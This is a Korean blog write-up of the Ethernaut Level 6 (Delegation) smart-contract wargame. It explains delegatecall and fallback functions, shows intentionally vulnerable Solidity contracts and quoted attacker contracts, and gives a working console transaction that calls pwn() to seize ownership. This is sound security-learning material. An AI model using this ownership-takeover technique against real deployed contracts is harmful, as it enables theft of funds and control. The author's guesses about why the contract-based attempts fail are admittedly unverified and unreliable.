Pwnstar

Ethernaut Level 6(Delegation) 본문

Wargame/Ethernaut

Ethernaut Level 6(Delegation)

포너블처돌이 2023. 4. 3. 16:19

문제풀 때 도움이 되는 것으로는

  • delegatecall이 작동하는 방식, on-chain 라이브러리에 사용되는 방식, 실행범위에 미치는 영향.
  • Fallback 메서드
  • 메서드 ids?

Delegatecall

delegatecall에 대한 정보는 Mastering Ethereum이라는 책에서 찾았다.

💡
CALL과 DELEGATECALL 연산코드는 이더리움 개발자가 코드를 모듈화할 수 있게 하는데 유용하다. 컨트랙트에 대한 표준 외부 메시지 호출은 CALL 연산코드에 의해 처리되므로 코드가 외부 컨트랙트/함수의 컨텍스트에서 실행된다. 대상 주소에서 실행 코드가 호출 컨트랙트의 컨텍스트에서 실행되는 것을 제외하고 DELEGATECALL 연산코드는 거의 같으며, msg.sender와 msg.value는 변경되지 않는다. 이 특성을 사용하면 라이브러리(library)를 구현할 수 있으므로 개발자는 재사용 가능한 코드를 일단 배포하고 향후 컨트랙트에서 호출할 수 있다.

call과의 차이점을 얘기하자면, 내가 만약 contract A를 통해 contract B의 함수를 호출했을 때, msg.sender는 contract A가 되지만, delegatecall을 이용하면 contract A의 스토리지, msg.sender, msg.value를 통해서 실행되기 때문에 msg.sender가 나의 주소가 된다는 의미이다.

이 개념을 조금 더 정확히 이해하기 위해서는 스토리지와

Fallback method

이전에 fallback이라는 문제가 나온 적 있다. 하지만 그 문제는 정확히 말하면 solidity 0.6.0 이후로 fallback이 receive와 fallback으로 나눠졌고, 그 중 receive에 대한 문제였다.

fallback 함수가 실행되는 조건은 외부에서 특정 컨트렉트를 호출했을 때, 해당 호출주소가 확인되지 않거나, 이더를 보낼 때 자동으로 실행된다고 한다.

다른 블로그에서 나오지 않은 내용을 한 블로그에서 찾았다.

Solidity by Example
https://solidity-by-example.org/sending-ether/

msg.data의 유무에 따라서도 fallback 함수가 호출될 지, receive 함수가 호출될 지 달라진다는 것이다.

이제 코드를 보자

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

Delegate 컨트랙트의 pwn()함수를 호출하는 것이 최종 목표인 것으로 보인다.

Delegation 컨트랙트의 fallback함수는 Delegate 컨트랙트에 있는 함수를 delegatecall을 이용하여 호출하는데, 만약 이걸 이용해서 pwn함수를 호출할 수 있다면 delegatecall의 특성상 최초 호출자인 나의 주소로 owner를 변경시킬 수 있을 것으로 보인다.

그렇다면 이제 길은 알았으니 how가 중요한데, 이걸 테스트해보기 위해서 위 문제코드와 상호작용하는 Me 컨트랙트를 생성해서 코드를 작성했다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;
  event JustFallbackWIthFunds(string message);

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    emit JustFallbackWIthFunds("JustFallback is called");
    data = msg.data;
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
        this;
    }
  }
}

contract Me {
    address public owner = msg.sender;
    function JustGiveMessage(address payable _to) public payable{
        (bool success, ) = _to.delegatecall(abi.encodeWithSignature("pwn()"));
        require(success, "Failled" );
    }

}

그런데 이렇게 해서 테스트를 해 봐도 Delegate의 owner는 바뀌지가 않는다. 뭐가 잘못되었는지 확인하기 위해서 delegatecall 함수 관련 취약점으로 검색해보니까 어떤 블로그를 찾았는데, 사실 뭐 변수 이름 정도만 다르지 코드는 크게 다르지 않다.

Preventing Vulnerabilities in Solidity - Delegate Call | Celo Documentation
Understanding and preventing solidity vulnerabilities
https://docs.celo.org/blog/tutorials/solidity-vulnerabilities-delegated-call

이 블로그인데, 여기서 나온 코드는 다음과 같음.

pragma solidity ^0.8.13;
/*
1. OwnerA deploys Lib
2. OwnerA deploys Vulnerable with the address of Lib
3. Attacker deploys AttackVulnerable with the address of Vulnerable
4. Attacker calls AttackVulnerable.attack()
5. Attack is now the owner of Vulnerable
*/

contract Lib {
    address public owner;

    function setowner() public {
        owner = msg.sender;
    }
}

contract Vulnerable {
    address public owner;
    Lib public lib;

    constructor(Lib _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

    fallback() external payable {
        address(lib).delegatecall(msg.data);
    }
}

contract AttackVulnerable {
    address public vulnerable;

    constructor(address _vulnerable) {
        vulnerable = _vulnerable;
    }

    function attack() public {
        vulnerable.delegatecall(abi.encodeWithSignature("setowner()"));
    }
}

이건 뭐 내가 짠 코드도 아니고 call을 delegatecall로만 바꿔주었다. 설명에도 보면 그냥 컨트랙트 3개를 deploy하고 attack함수를 호출하면 setowner함수가 호출되어야 하는데, 이것도 안됨.

여기서 안되는 이유에 대한 가설을 세워봤는데, 확실하진 않다.

보면 Attack에서 delegatecall을 하고, Vulerable에서도 delegatecall을 해서 setowner함수를 호출해오면 setowner가 Vulnerable 컨트랙트가 아닌 AttackVulnerable 컨트랙트에서 실행되는 것이 아닌가 하는 생각을 했다.

그러면 Vulerable 컨트랙트에 아무런 변화가 없는 것이 설명이 된다. 그런데 이걸 call로 바꿔도 해결은 안된다. call로 바꾸면 msg.sender는 나의 지갑 주소가 아닌 AttackVulerable 컨트랙트의 주소로 되기 때문이다.

그래서 코드를 짜서 푸는 방법은 포기했다.

그냥 JS로 콘솔에서 컨트랙트에 직접 msg.data를 설정해 트랜잭션을 보내면 fallback함수가 호출되는건 마찬가지라고 생각했다.

그래서 다음과 같이 스크립트를 짜서 트랜잭션을 전송했다.

await contract.sendTransaction({from:player, to:instance, data:web3.eth.abi.encodeFunctionSignature("pwn()")})

이렇게 하니까 문제는 풀 수 있었는데, solidity 코드를 작성해서 풀 수 있는 방법은 없을 지 궁금해서 다른 라업을 좀 찾아봤는데, 나처럼 푼 분들이 대부분이고, 한 외국인 블로그에서 solidity 코드를 작성하여 푼 사람을 발견했다.

Ethernaut Level 06 - Delegation
Analysis and solution for Ethernaut's level 06 - Delegation, with Solidity and Foundry
https://blog.dixitaditya.com/ethernaut-level-06-delegation

이 블로그인데, 여기에 있는 익스코드를 실행시키려고 하면 다음과 같은 에러가 발생한다.

무시하고 트랜잭션을 전송하면 역시나 트랜잭션은 실패하고 owner도 변경되지 않는다.


Forge를 이용하면 solidity scripting이라는걸 실행할 수 있는데, 이걸 설치해서 나중에 시도해봐야겠다.


Uploaded by N2T

'Wargame > Ethernaut' 카테고리의 다른 글

Ethernaut Level 8(Vault)  (0) 2023.04.03
Ethernaut Level 7(Force)  (0) 2023.04.03
Ethernaut Level 5(Token)  (1) 2023.03.12
Ethernaut Level 4(Telephone)  (0) 2023.03.12
Ethernaut Level 3(Coin Flip)  (1) 2023.03.09
Comments